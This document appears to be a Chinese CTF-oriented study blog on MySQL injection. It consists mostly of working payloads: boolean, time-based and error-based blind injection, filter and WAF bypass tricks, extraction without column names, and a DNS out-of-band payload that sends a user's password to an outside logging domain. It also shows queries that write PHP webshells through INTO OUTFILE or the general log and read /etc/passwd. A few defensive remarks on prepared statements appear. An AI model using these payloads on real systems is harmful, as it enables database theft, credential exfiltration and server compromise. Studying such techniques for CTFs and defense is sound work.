mysql注入学习(持续保持更新)

目前排版还比较乱,常见的姿势基本已经整理的比较全了,还在不断学习中。。。

sql盲注

第一步:字符串截取函数

选取那个完全由过滤了什么符号决定,一般查看的有:函数名,逗号,空格

1
2
3
4
5
6
7
8
9
10
11
12
substring((select xxx) from -1|-2|-3... for 1)
substr((select xxx) from -1|-2|-3... for 1)
mid((select xxx) from -1|-2|-3... for 1)
过滤少的时候可以使用((select xxx),1|2|3...,1)的原始形式
left((select xxx),2)
right((select xxx),2)
right(left((select xxx),1|2|3...),1)
select count(1) from flag where binary(flag)<0x{}
不按位截取了,每次将数据与一个长的字符串做对比 select count(1) from flag where binary(flag)<0x{}
这种payload用的函数更少,也更短,通过表的长度变化作为回显数据的多种情况,比较适用于id这种情况里,id=0,1,2,3分别对应不同的值,但是在where条件是字符串中,我们需要的是01两种bool条件,所以可能适用性就不太强了

第二步:将截取到的字符串段进行比较得到另一个数据

1
2
3
4
5
substring [=|like] [''|0xxxx]本身的结果就已经是用0,1 表示了
(if(substring [=|like] [''|0xxxx], 0,1))
(select case when (substring [=|like] [''|0xxxx]) then 0 else 1 end)
使用binary()来比较,来区分大小写

第三步:产生两种结果

基于bool的盲注

判断结果的0或1或产生两种不同的回显结果,这就是bool型盲注思路

1
2
where user='' or [0|1] and ''='' 三者作为比较运算的条件
where user='0'+[0|1]+'0' 三者作为运算结果,如果为'0'将匹配所有字符串,如果为'1'则匹配不了字符串,能够省略and等运算符

基于time的盲注

如果满足条件就sleep上一段时间,如果没有就不sleep,然后通过计算处理时间来得到两种回显结果
一般insert语句这种不会有文字回显的采用基于time盲注的两种情况

1
2
#需要注意一点的是,这里的重点不是让条件等式的结果为0或1,只要让等式中sleep的那一段运行就好
where user='1' and [1,|sleep(5)]%23

基于报错的盲注

需要注意的一点是,既然数据库会报错回显,本质上和只有两种回显的情况是有不同的,在精心构造的语句+低版本的数据库中是可能直接拿到数据而不用盲注的,有关于报错的分类以及直接拿数据的方法我们在后面都会介绍到,这里只是盲注中对基于报错的使用

1
2
3
4
5
6
#利用函数传入参数的格式错误报错
select 1 from users where user='' or [0/1] and ST_LatFromGeoHash(version())%23;
#利用exp函数的运算溢出可以造成报错,从710开始就会报错了,~0,,~1等等也都是可以的
select 1 from users where user='' or [0/1] or exp(~0)
#利用支持运算的最大值构造报错,这里的0就是按位取反得到的最大值,也就是18446744073709551615
select 1 from users where user='' or [0/1] or ~0+1

盲注中可能用到的一些点

  • group_concat()将一列数据整合

  • 获取当前数据库 select database()

  • 获取所有的数据库

    select group_concat(distinct table_schema) from information_schema.tables

  • 获取数据库中的表
    select group_concat(table_name) from information_schema.tables where table_schema = 'news'

  • 获取表中的对应列
    select group_concat(column_name) from information_schema.columns where table_name='flag'

  • 最要紧的就是 = ‘i’或是0x表示,经常在payload里面写成 = {},应该是 = ‘{}’

  • mysql的单字符比较中不区分大小写,应该使用binary()或者ascii()来区分大小写,测试ascii不管用,但是binary()可以。另外hex()函数用起来也很方便

    另外select * from user where username=’admin’ and binary password=’xxx’这里就已经对password字段进行了二进制处理

  • 有一些很有意思的地方(从Ben师傅的一次padding oracle attack结合sql注入的时候在想:在对回车也就是%0a, \n 字符进行getcipher的时候,是写成%0a,还是\n呢?%0a的话,对应加密出三个字符,而\n这对应一个回车字符):
    在传递不可显示字符的时候,就比如回车符吧,我们有两种传递方式———将回车符用url编码,也就是写做%0a的形式,在到服务端接收的时候就会自动进行urldecode所以又是回车符了,这时候可能我们会想:在写php代码的时候,将回车符号写作\n 0x0a \x0a啊这些也都可以在sql中正常运行,那么在作为参数传递时这样写行不行呢,其实是不行的,因为你传过去再输出就可以看到,这些符号的意义并没有被转化为回车符,而只是单纯的几个字符而已。
    有一种情况特殊些,我们将字符串可以用0xxxxx来代替,但是这并不是在php里面能对0x进行解析为对应的字符,而是因为mysql支持这种字符串的书写格式。

基于报错的注入(盲注部分前面提到了就不说了)

首先来了解下如何从报错信息中直接拿到我们要的数据而不用盲注,之后在对报错注入的分类的介绍中我们会附加上如何不用盲注拿数据的payload

让我们从exp(~0)这个报错函数开始考虑,报错时显示

1
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~(0))'

看,回显中有显示~0的字样,然后我们可以想到如果是多层嵌套结构的话是分层次执行,如果我们用select user()来代替0,那么执行的顺序就是先进行select user()语句然后再将返回值带入exp函数中执行,最后报错的时候也就会将我们已经执行完毕的那条语句的执行结果输出出来,这时我们就看到了结果

1
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

OK,了解了原理,我们接下来就要介绍报错盲注的分类了

5.7版本以上mysql函数

注意,我们下面介绍的这些函数在5.7版本中才有,而且经过测试能够回显敏感信息

而很多低版本的mysql都只能报错而在错误信息中不显示关键信息了,所以在高版本mysql中就推荐用这些函数

下面介绍的这些函数有个共性就是报错都是基于他们传入的参数格式错误而造成的,报错信息中就会展示出错误信息

ST_LatFromGeoHash()函数,参数只能接受纯数字,我们用group_concat()引入逗号

1
2
3
select ST_LatFromGeoHash((select group_concat(password) from user));
output:
Incorrect geohash value: 'dd9d15d993d6f42f896ab4ba09a6a695,56057a4f4e475d73e48824acf8b54098,6b9412ec641f16892544154952fc8b1d' for function ST_LATFROMGEOHASH

ST_LongFromGeoHash()函数是一样的效果

1
2
3
select ST_LongFromGeoHash((select group_concat(password) from user));
output:
ERROR 1411 (HY000): Incorrect geohash value: 'dd9d15d993d6f42f896ab4ba09a6a695,56057a4f4e475d73e48824acf8b54098,6b9412ec641f16892544154952fc8b1d' for function ST_LONGFROMGEOHASH

然后是GTID_SUBSET()函数,这个函数需要传两个参数,但是构造的时候注意到使用select GTID_SUBSET((select group_concat(password) from user),'');并没有报错,然后就瞎猜了下,使用concat字符串链接将其处理一下,然后就成功报错了,迷。。。

1
2
3
select GTID_SUBSET(concat((select group_concat(password) from user),''),'');
output:
ERROR 1772 (HY000): Malformed GTID set specification 'dd9d15d993d6f42f896ab4ba09a6a695,56057a4f4e475d73e48824acf8b54098,6b9412ec641f16892544154952fc8b1d'.

GTID_SUBTRACT()函数与上一个是同样的触发方式

1
2
3
select GTID_SUBTRACT(concat((select group_concat(password) from user),''),'');
output:
ERROR 1772 (HY000): Malformed GTID set specification 'dd9d15d993d6f42f896ab4ba09a6a695,56057a4f4e475d73e48824acf8b54098,6b9412ec641f16892544154952fc8b1d'.

ST_PointFromGeoHash()函数,需要两个参数

1
2
3
select ST_PointFromGeoHash((select group_concat(password) from user),1);
output:
ERROR 1411 (HY000): Incorrect geohash value: 'dd9d15d993d6f42f896ab4ba09a6a695,56057a4f4e475d73e48824acf8b54098,6b9412ec641f16892544154952fc8b1d' for function st_pointfromgeohash

低版本报错方式

在低版本中,这些报错方式大都还是能将敏感信息回显出来的,高版本mysql里就不行了,我这里只有5.7版本的mysql,很多报错方式不会再回显敏感信息了,所以这里就只提供报错语句及原理介绍吧

基于运算溢出的报错

int型的加法运算溢出报错

1
2
select * from user where ~0+1;
select * from user where ~(select group_concat(password) from user)+1;

exp()指数运算溢出,实际上在参数为710及以上时候就会溢出了

有个比较有意思的点,我在5.7版本的mysql测试中看到,回显信息包括了所有的字段名

1
2
select * from user where exp(710);
select * from user where exp(~(select group_concat(password) from user));

其他函数

比较有意思的是,我在高版本mysql测试中,虽然不回显敏感信息了,但会爆出来表中所有的字段名。。。

1
2
3
select multipoint((select group_concat(password) from user));
output:
ERROR 1367 (22007): Illegal non geometric '(select group_concat(`blog`.`user`.`password` separator ',') from `blog`.`user`)' value found during parsing

函数比较多,用法也都比较简单,这里就不一一举例了

  • geometrycollection()
  • multipoint()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()

在高版本测试中也可以爆出敏感信息的函数

updatexml()函数是mysql中用来修改xml信息的函数

extractvalue()函数是mysql中用来查询xml信息的函数

1
2
3
4
5
6
有时候可能爆不全,不全的时候用limit offset按行取吧
有时候还容易出问题,尝试使用第二行的写法,将计算结果左右连接上~
select updatexml(1,(select group_concat(password) from user),1);
select extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e));
output:
ERROR 1105 (HY000): XPATH syntax error: '~dd9d15d993d6f42f896ab4ba09a6a69

基于主键重复的报错

是目前网上报错注入流传比较多的版本,好处是在高版本中依旧可以爆出错误,同时也没有使用updatexml函数报错限制报错长度为32的弊端

1
2
3
4
5
6
mysql> select * from user where username='14' or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2),(select password from user where username='admin')));
output:
ERROR 1062 (23000): Duplicate entry '16b9412ec641f16892544154952fc8b1d' for key '<group_key>'
注意第一个数字1是要去掉的,为floor(rand(0)*2)的结果
select count(*) from information_schema.tables group by concat(floor(rand(0)*2),(select password from user where username='admin'))

原理分析:

在一条语句select count(*) from user group by username中,数据库的操作是建立一个虚表,比起原表多了一个count()列,group by的那个列变成了主键也就是<group_key>,之后从user表中一条条的取出来数据,在虚表中查找,基于group_key(在这里就是username)的值在虚表中是否已经存在,来决定是在count()列中加1还是新添加一个列。 考虑这个过程,我们使用floor(rand(0)*2)作为<group_key>的话,我们每次从user表里面提出来一条数据准备依据group_key进行插入,第一次计算结果是0,group_key为0,第二次是1,group_key为0,这里都没问题,只是在虚表中多了两个列,一个列名1,一个列名0,第三次插入的时候计算结果为1,这时再准备往虚表中插入虚拟的主键1,就会报主键重复的错误。

1
Duplicate entry '16b9412ec641f16892544154952fc8b1d' for key '<group_key>'

sql过滤统计

反正过滤吧,不是想办法绕过,就是再找一个相同功能的写法来替换
先放上一些比较经典的:

过滤单引号

  • 在数据库为gbk编码下可以考虑宽字节注入%df%27来用%df吃掉\
  • 因为单引号被过滤无法where user='admin'的时候,用0x写法来代替’’写法

过滤空格
本质上就是用一些无法融入原写法语义的符号放到那里起到空格的分隔作用

  • 使用() 或者 反引号来做分隔,形如select(*)from(user)的写法,
  • sqlmap中space2hash.py的方法,用%23xxx%0a来做空格
  • 使用/**/来做分隔
  • 使用%0a来做分隔
  • and可以用&&代替 or可以用||代替 这样不仅不需要空格,连and or都不需要

过滤某些sql语句的关键字

  • /*!*/来在php中注释过去,但是mysql中会正常执行,形如/*!select*/ flag /*!from*/ flag
  • 中间插入%0a %0b %00 /**/这些,形如se%0blect fl/**/ag from flag,但有一点要提醒的是,sel/**/ect这种写法并不是说可以绕过检测而且mysql可以执行,%0b /**/这些字符在sql语句中是存在的,在php那一层就会剔除掉
  • 考虑大小写绕过SeLect
  • 最常见的双写绕过的可能千万不要忘了尝试下 selselelctect

过滤某些符号
符号的过滤与关键字过滤不同,大部分情况无法进行过滤绕过,多为寻求符号的替代品

  • 使用greatest来替代大小写符号ascii(mid(user(),1,1)) < 150–>greatest(ascii(mid(user(),1,1)),150)=150
  • 过滤了逗号,使用substring((select xxx) from -1|-2|-3... for 1)来代替((select xxx),1|2|3...,1)
  • 过滤了=,其实=的替代品有很多:like,<,>,^,-其实都可以做运算生成bool结果,另外<>都有等价的函数表示,另外in函数也可以的 select password in (‘’,’’,’’)
  • ascii() hex() 可以获得字符的数字形式,需要注意的是hex()返回的是6B这种字符串,最好不要做math运算,因为6B会变成6,所以一般推荐ascii()
  • char() 将ascii对应的转化为字符

末尾截断可用的注释(然而我比较习惯用’’=’)

  • %23 也就是#
  • --+ 注意这里应该用+来表示最后一个空格字符,因为很可能空格没有被传过去的
  • ;%00
  • /*没有测试成功
  • 反撇号 没有测试成功

过滤某些函数
这不是大事,基本上都能找到相同功能的函数来代替,mysql函数那么多。。。

https://dev.mysql.com/doc/refman/8.0/en/functions.html

一些字段关键字被过滤

  • 和关键子过滤一样,使用/**/ %0b %0a这些来中间断一下
  • 大小写也是没有问题的,反正mysql对大小写也不敏感
  • 使用concat(‘adm’+’in’)就可以,但注意mysql中写成’adm’+’in’的结果是0。。。小心不要错了
  • limit被禁用,也不能使用group_concat(),这时候就要使用where条件将查询结果限制在一行中,比如可以使用like方法

waf的缓冲区溢出利用

因为waf多是基于C语言编写的,所以如果输入的参数大于缓冲区的时候并不会报错而只是检查缓冲区内的部分,溢出的部分就不会进行检查

这里提供两种思路:

  • 如果参数使用post上传,我们提交两个同名的参数,在php处理策略上,同名参数会以第二个为准,而waf可能会两个都进行处理,这样我们第一个参数提交一个文件来耗尽waf缓存,第二个参数就不会检查了

    1
    2
    3
    4
    5
    <form action="http://xxx/xxx.php" method="POST" enctype="multipart/form-data">
    file:<input type="file" name="username" / ><br/>
    username:<input name="username" value="payload" style="width:250px;" / ><br/>
    <input type="submit" value="attack" />
    </form>
  • 我们把这个参数写的很长,比如经典的’ or xxx,我们在单引号之前填充很多的数据来耗尽waf的缓冲区,or后面的部分就不会被检测到了 ,比如aaa*1000’ or xxx

其他

  • 过滤了union select from 却没有对单个关键字进行过滤。还是使用变量的方法,将数据存到变量里面,之后再用union select查询,这样就不会与from连起来了

    select 1 from user where 2=3|@c:=(select flag from flag) union select @c;这样最后就没有from了

报错注入得到表名列名以及不使用列名下的注入

如果information_schema,column_name,table_name,所有的表名或多或少的被过滤了,同时存在着报错注入的情况下,我们还是可以想办法通过报错注入拿到表名,列名以及一些数据的

首先是拿到数据库名

数据库名很好拿,只要我们在sql查询中使用一个库中并不存在的函数,就会爆出库名

1
2
mysql> select * from user where username='' and c();
ERROR 1305 (42000): FUNCTION blog.c does not exist

实际上数据库名并不是必须要拿的,主要是只能拿当前库的名字,而写sql的时候又没必要加上当前库的名字。。。

在后面可以看到,拿表名列名什么的时候,也都可以顺便把数据库名爆出来

然后是拿表名

注意,拿表名需要至少猜测到一个表中存在的字段名

在测试基于主键的报错时无意中发现了这么一个报错

1
2
mysql> select * from user group by 1 and 1;
ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'blog.user.username' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by

有趣的是这里将数据库名,表名,表中的第一个字段名都爆了出来。这一点会对我们接下来的工作有帮助。

看到网上通用的做法是利用函数Polygon的报错实现

1
2
mysql> select * from user where username=Polygon(username);
ERROR 1367 (22007): Illegal non geometric '`blog`.`user`.`username`' value found during parsing

原理其实就是将字段名作为报错函数的参数,这样在报错时可能就会将字段的详细信息爆出来,所以之前介绍的那些报错函数大都是可用的

  • exp()

  • geometrycollection()

  • multipoint()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()
1
2
mysql> select * from user where username=exp(~username);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~(`blog`.`user`.`username`))'

其实到这一步我们就可以直接拿数据了,有下面几种姿势可以在不使用列名的情况下拿到表里的数据

思路一:

1
2
3
4
5
6
7
8
union select 1,2,3,(select e.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user limit 1,1 )e);
其实目的就是通过这种写法来不用写段名拿到数据:
select e.1 (select 1,2,3,4 union select * from user)e
格式化展示:
union select 1,2,3,
(select e.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user limit 1,1)e);

解释
因为不能使用列名,所以通过语句select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d来建立一个形如

1
2
3
4
5
+------------------+----------------------------------+---------------------+-------+
| 1 | 2 | 3 | 4 |
+------------------+----------------------------------+---------------------+-------+
| 1 | 2 | 3 | 4 |
+------------------+----------------------------------+---------------------+-------+

这样的表,我们使用别名叫e,如果再链接上我们要操作的表,就是这样

1
2
3
4
5
6
7
8
9
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+------------------+----------------------------------+---------------------+-------+
| 1 | 2 | 3 | 4 |
+------------------+----------------------------------+---------------------+-------+
| 1 | 2 | 3 | 4 |
| SometimesSomeone | dd9d15d993d6f42f896ab4ba09a6a695 | 13512279197@163.com | user |
| 11 | 56057a4f4e475d73e48824acf8b54098 | 123@12 | user |
| admin | 6b9412ec641f16892544154952fc8b1d | 13512279197@163.com | admin |
+------------------+----------------------------------+---------------------+-------+

所以现在其实列名就已经换成了1,2,3,4来表示了,之后我们就能拿到要的数据了

1
2
3
4
5
6
mysql> select e.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user limit 1,1 )e;
+----------------------------------+
| 2 |
+----------------------------------+
| dd9d15d993d6f42f896ab4ba09a6a695 |
+----------------------------------+

思路二:

看了猫哥的wp后又学到了一种姿势,同样可以不用列名就能拿到wp,只是需要盲注

1
where user='admin' union select 1,2,3 order by 3 desc;

思路三:

还能想到LuckGame题目中的做法,就是在没有过滤的点将数据都拿出来存到变量里面,之后直接查变量就好

1
2
select * from user where username='admin' into @a,@b,@c,@d;
之后读取@a @b @c @d 这四个变量就可以了

最后再介绍下拿列名的做法

出自orange的文章,原理:

将两个相同的表使用join操作连接到一起select * from user as a join user as b,然后生成的表中就有了相同的列,其实只是列名相同,但他们分别隶属于不同的表的,之后为此表赋予别名,select * from (表) as e,然后就会触发相同列名的错误,因为别名表中是不能有相同的列的

1
2
3
4
5
select * from user where username='' and
(select * from
(select * from user as a join user as b [开始为空之后逐个为using(爆出的column)])
as e);
output: ERROR 1060 (42S21): Duplicate column name 'password'

使用Out of Band带外攻击来回显数据

在mysql中参数select @@secure_file_priv为空的情况下(事实上并不多见,现在要么置为了固定的tmp文件夹,要么直接为NULL表示禁用文件存取相关操作),文件操作是支持使用url的,在函数load_file()中可以通过DNS查询来将数据携带出来。

payload: SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user),'.a.wslhlk.ceye.io\\abc'));

在测试中可以看到,因为DNS缓存的原因,相同的域名不会第二次查询,所以建议每次更改a的值

另外注意域名中只支持英文字母,数字,-,且-不能用作开头和结尾,且长度限制在了63,所以比较适合用于携带hash后的密码这些数据

只能拿当前表内的数据的情况分析

有时候因为过滤比较严格,或是所要的数据就在本表内,我们使用的策略往往只能在当前表内查数据

这种过滤往往是这样的:

限制了select 或者 from,其实就从根本上限制了读取其他表的数据,除非有绕过的方法

虽然不能读取其他的表,我们可能还是有办法读取本表的数据的,下面是几个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
select * from user where username='' 参数禁止使用select
策略一: ————————经典的like注入
select * from user where username='admin' or binary password like 'xx%'
可以用来拿到username为admin的密码
select * from user where username='xxx' or 1 and binary password like 'flag{%'
常对一个字段进行寻找,最后输出为username='xxx'行,以及password like 'flag{%'行
策略二:
select * from user where username='admin' or substr(password,1,2)='xx'
策略三:
select password from user where user='admin' union select ['a'|'fe'] order by 1;
经典的order by比较注入,不能使用from,or and也被禁用时

补充(for myself):

基本上注入点都是where这里,需要注意到有这两种类型,他们做出的反馈也是不一样的

  1. select * from user where 1 or 1/0

    这种where下是要么全选中,要么全不选

  2. select * from user where password like ‘N1%’

    这种where下是要么不选中,要么只选中一条

在构造注入的时候,这两种where希望别搞混了

单引号转义下的注入思路整理

讲道理在单引号被转义而无法使用下,就基本GG了,但在一些特殊的配置下仍可能实现注入,在做题时也偶尔会碰到这些有意思的场景,把历来的思路做个记录。

  • 宽字节注入%df%2f,通过%df来吃掉\组成一个字符

  • 存在切割操作,从对转义后的字符串中切割出一个真正的\,使用这个反斜杠来转义最后一个单引号,适用于两个可控注入点的情况select * from user where id='$_GET['id'] and username='$_GET['username']',在后一个可控点进行注入

  • 只转义了单引号,可以通过添加一个\来转义转义单引号的反斜杠,将单引号解放出来

  • 像国赛里的一道题目样自己作死,在转义后又将单引号去掉,导致又出现了和第二条一样的一个真正的\,然后与第二条同样的用法

  • 转义可能仍有疏漏,比如对get,post转义,但参数用的request[‘id’],这个是没有转义的

  • 也许只是虚晃一枪呢?的确转义的天衣无缝,但我们找到了一个数值型的注入点,并不需要单引号:)

  • 利用二次注入中数据库存储的最大长度实现截断出一个反斜杠。考虑这样一种情况,二次注入点并没有过滤,但是实际存储中进行了两次转义存储,所以数据库中存的\',导致二次注入仍然无法利用。我们可以寻找一个二次注入语句有两个参数的点,通过数据库中存储的最大长度实现截断出来一个真正的\,实现引号闭合然后供第二个参数去注入

  • 连续两次sprintf调用来实现sql语句的拼接,在第一个位置使用%',转义后为%\',在第二次拼接中,%将吃掉\字符,导致单引号逃逸。为了保证格式化参数个数正确,使用%1$'即可。原理参见https://paper.seebug.org/386/里面还有一些其他的利用方法

非常规的注入做法

其实有一些实际情况中,会做出各种各样的有趣限制,可能就导致虽然注入点存在,但并不能靠以往的流程来走了,这些场景处理起来比较有趣,有时也需要一些奇思妙想,故打算整理一下

场景一

可以使用union,限制了from所以最多只能从本表中拿数据,限制了比较函数截取函数所以无法做字符串截取比较。

1
select password from user where user='admin' union select ['a'|'fe'] order by 1;

通过额外的一行来与要拿的一行进行排序比较,测试出哪一行的值。注意因为对大小写不敏感,所以测试的字符中只包括一套大写字母或小写字母就够了,另外盲注出的结果也无法区分大小写

场景二

来自于RCTF的login题目,大致情况猜测如下:

1
2
3
4
5
6
select password from users where username='$_GET["username"]';
if($password === $_GET['password']){
login successful;
}
已知存在账户:username=p password=p
限制了username的长度为最多36个字符

姿势:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p'||substr(username,1,1)='a 测试有没有存在用户名为a ad adm admi
select password from users where username='p'||substr(username,1,1)='a';
其实通过上面的姿势已经可以拿到这个表中的所有数据了:
p'||substr(password,1,10)='justatestb
就是在测试表中存在的password密码字段的第十位是b还是其他的
这里有几个问题:
一是为了保证区分大小写,需要修改payload如下:
p'||substr(hex(password),1,4)='3131
二是因为username长度限制为36个字符,所以肯定不能测试有没有a,有没有ad,
有没有adm这样的做,需要改成这样的方式:测试有没有ad,测试有没有dm,
测试有没有mi。。这样做可以保证每次测试的password都是我们想要的那一行
而不是测试有没有i,测试有没有n这种可能会受到其他入12i34影响的。

场景三

来自于HCTF的SQLSilencer的显注姿势,情况如下:

1
2
3
waf正则为
/union([\s\S]+)select([\s\S]+)from/i
也就是限制了union select password from username 这种书写形式

显注姿势:

讲道理应该还有其他的姿势,但是很喜欢出题人的payload——利用变量来做

1
2
3
4
5
6
类似于以下形式:
set c = (select password from user where username='admin');
where id=1 union select @c;
集成在一句话中就是:
where id=1|@c:=(payload) union select @c;

场景四

来自于SECCON sqlsrf题目的sql部分

1
2
3
4
5
6
7
8
题目和场景二很相似
select password from users where username='$_GET["username"]';
if($password === $_GET['password']){
login successful;
}
这里取消了对username的字符长度限制,相应的禁用了字符串截取函数(其实
只是SQLite没有这些函数2333),另外不同的是,知道username存在admin账户,
但未知密码,请尝试用盲注得到admin的密码

姿势

1
2
3
4
5
admin' and password like 'xx%' and randomblob(3000000000) and ''='
select password from users where username='admin' and password like 'xx%' and randomblob(3000000000) and ''='';
payload里没有走之前盲注的流程,因为目的很明确,只是为了拿到当前表中
admin账户的密码。根据第二个bool运算是否成立的来触发后面的time盲注

场景五

来自于N1CTF里的两道sql题目

1
2
考察update注入
update users set points=%s

姿势

1
2
3
4
5
6
7
8
9
因为是update注入,直接将是否成功更改了points作为bool标志即可
1. update users set points=1 where id=1 and 0 or 1/0
来限制update更新所有行还是一行都不更新
2. update users set points=1 where password like 'N____________'
经典的使用like注入来逐位获取
3. update users set points=1 where substr(password,1,1)='N'
使用substr来逐位获取
4. update users set points=1111111*if(0/1, 1,11111111111)
通过乘法的运算溢出来构造报错注入

关于二次注入

采用mysqli_escape_string(),addslashes()这种转义型的过滤,如果没有其他额外人为操作的话,在这个sql点就是安全,那仍然会保留’这种脏数据,所以要留意会不会在其他sql点造成二次注入

在qwb中注意到了一个很有意思的点,大致是这样的:

  • 表中age参数为char类型,但期望存储的是数值型
  • 在存储中,使用的是insert users(age) values(123)的做法,传入的是个数字,通过mysql的类型转换将数值型转换为字符型存储起来

那么可能出现的问题如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> create table test1(
-> age varchar(100)
-> );
Query OK, 0 rows affected (0.01 sec)
mysql> insert test1 values(123);
Query OK, 1 row affected (0.00 sec)
mysql> insert test1 values(0x31);
Query OK, 1 row affected (0.00 sec)
mysql> insert test1 values(0x3127206f7220312d2d20);
Query OK, 1 row affected (0.00 sec)
mysql> select * from test1;
+------------+
| age |
+------------+
| 123 |
| 1 |
| 1' or 1-- |
+------------+

可以看到成功插入了脏数据,在二次查询的时候如果没有做好防护就会产生二次注入

相应这里可以采取的防护措施如下:

  • 既然age列是存储数值型的,数据库中就使用相应的数值型如int,long来存储
  • 既然将age列用了字符存储,在插入的时候就使用单引号括起来,否则mysql就会做类型转换

一些零碎记录的点

  1. 针对sql注入做的waf防护,常见的有以下几种

    • 采用mysqli_escape_string(),addslashes()这种转义型的过滤,如果没有其他额外人为操作的话,在这个sql点就是安全,那仍然会保留’这种脏数据,所以要留意会不会在其他sql点造成二次注入
    • 自己写filter函数,对某些关键字啊,空格啊,符号啊禁用,也是常常产生绕过的地方,比如双写绕过啊,使用其他相同意义的函数啊,空格用%0a代替啊这些。一些比较奇葩的过滤规则可能会引入威胁,就比如国赛帽子的那道题目
    • waf函数,如果检测到敏感字符会die掉进程,也是经常进行绕过的地方
    • 使用PDO结构的sql对象,进行->perpare预处理之后,那参数就是参数,语句就是语句,基本很难形成注入
  2. 除了针对各种sql点上过滤的绕过,还有几种情况是值得考虑的

    • 如果参数其实并没有被过滤呢?就像TCTF上那道题目,全局参数过滤了GET POST ,然而一个参数点使用的是REQUEST[‘username’]来获得的参数,那其实这注入点的参数并没有被过滤
    • 有些注入点的参数并不是自定义的,但有可能其最终来源还是用户自定义的,而且来源收录的时候只是进行了转义,记录的数据仍然为脏数据,这样这些存储值不经过滤的传到其他注入点做参数就会构成二次注入。(个人感觉二次注入在黑盒审计中出现的场景比代码审计要多,而且经常出现在用户名注册,之后一些操作直接提取用户名去进行sql操作)
  3. TCTF里有一道很有意思的注入题目,是关于列名这个参数点注入的,那个题目使用CI框架写的,在$this->db->select()->from()->where()的select()这个函数里面装的是列名,这个参数在题目中可以由我们自定义,当然做了很多过滤,同时CI框架本身也做了很多过滤,wupco师傅对其进行了仔细分析http://www.wupco.cn/?p=3646,小m师傅当时用了xdebug对运行代码进行了调试,可能也是为了搞清楚CI框架内部做了什么过滤,发现后面加一对’’就没有过滤了。具体的过滤分析找时间再细看,这次先学习下列名注入
    select column_name from test,在column_name可控制下,我们这样写
    select {table_name from information_schema.tables where table_schema='blog' union select 1} from test这样就可以构造注入了

  4. 在数据库的登陆用户为root时,有可能是可以在任意目录下写文件的,这样我们就可以写一个webshell出来了
    union select "<?php system($_GET[‘c’]);?>" into outfile '/var/www/html/uploads/shell.php'
    实际情况测试的时候,在wamp中发现报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement,在sql.ini下将secure-file-priv注释掉就好了
    在kali的mysql中测试时发现,文件是可以写的,但尝试在/var/www/html/中写文件的时候,显示没有权限,就算是改用root账户登陆也不行,这时其实就是目标文件夹的权限配置问题了,一般网页根目录下的upload/文件是可以写文件进去的。当然前提还得是mysql以root登陆才能有写文件的权限

  5. 基于语义的waf学习(先占坑有时间加上去)

  6. 这一条留给自己看,尝试考虑下拿到一个sql点的时候手注的顺序,因为感觉很多sql点加一点过滤就会在测试的时候各种懵逼,还是找个比较好的测试顺序比较好

    • '有可能没有回显,有报错回显,有waf提示
    • ' or 1 ' or ''=' 看看有没有全部东西出来,主要是看看这种简单的会不会拦截
    • ' union select 1,2,3,4 %23 看看能不能使用union查询
    • 还没有信息?尝试下' and sleep(5)--+行不行,如果能的话就说明是可注入的
    • 到现在还没有???尝试各种姿势寻找两种回显吧
    • 到此为止如果看到了waf信息,报错信息,就可以着手开始搞了。如果还没有东西,可以开始用burp测试一波敏感字符了,基于看到的特殊信息对上面的payload做出替换后再尝试
    • 如果还没有看到异常情况,那可能点就是封死了,因为能够执行sql的话,上面的结果肯定会有些特殊回显的
  7. hctf里遇到了一个比较坑的地方,flag是放在了另一个数据库中,所以一路select database(),然后并没找到奇怪的表,所以在information_schema.tables中使用模糊搜索找找flag关键表select group_concat(table_name) from information_schema.tables where table_name like '%flag%'如果找到了,因为之后要跨数据库去读取表,所以要记得看下表是在哪个数据库里select group_concat(table_schema) from information_schema.tables where table_name = 'flag'

  8. 找时间测试了下PDO的工作流程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php
    try{
    //首先进行连接,通过new PDO()函数
    $conn = new PDO("mysql:host=localhost;dbname=blog","root","root");
    }catch(PDOException $e){
    die( "Error connecting to SQL Server".$e->getMessage() );
    }
    //尝试进行一次普通的查询,这里其实并没有用到PDO的预处理特性,只是普通的查询
    $sql = "select * from user where username = '$_GET['id']'";
    $stmt = $conn->query($sql);
    while(@$row = $stmt->fetch(PDO::FETCH_ASSOC)){
    var_dump($row);
    }
    //使用PDO对sql语句进行预处理再带入查询
    $sql = "select * from user where username=?";
    $stmt = $conn->prepare($sql);
    $stmt->bindValue(1,$id);
    //$arr = array(
    // ":id" => $id,
    //);
    $stmt->execute();
    var_dump($stmt);
    if (!$stmt){
    echo $conn->errorInfo()[2];
    }
    测试结果:没有使用预处理的sql存在预期的攻击方式,进行预处理后的语句则不存在注入点。
  9. 如果以root账户登陆,则可以写文件读文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    select load_file("/etc/passwd")
    select '<?php @eval($_POST[cmd]); ?>' into outfile '/var/www/shell.php'
    几种写法受变量select @@secure_file_priv;控制
    或用show global variables like '%secure_file_priv%'查询
    也可以考虑下面这种写法,通过写日志文件的方式
    set global general_log='on';
    SET global general_log_file='D:/phpStudy/WWW/upload/1.php';
    SELECT '<?php assert($_POST["cmd"]);?>';
  10. 很多题目里,flag并不在当前表中,甚至也不在当前数据库中,我一般采取以下几种方案寻找可疑的flag表

    1
    2
    3
    4
    5
    6
    7
    8
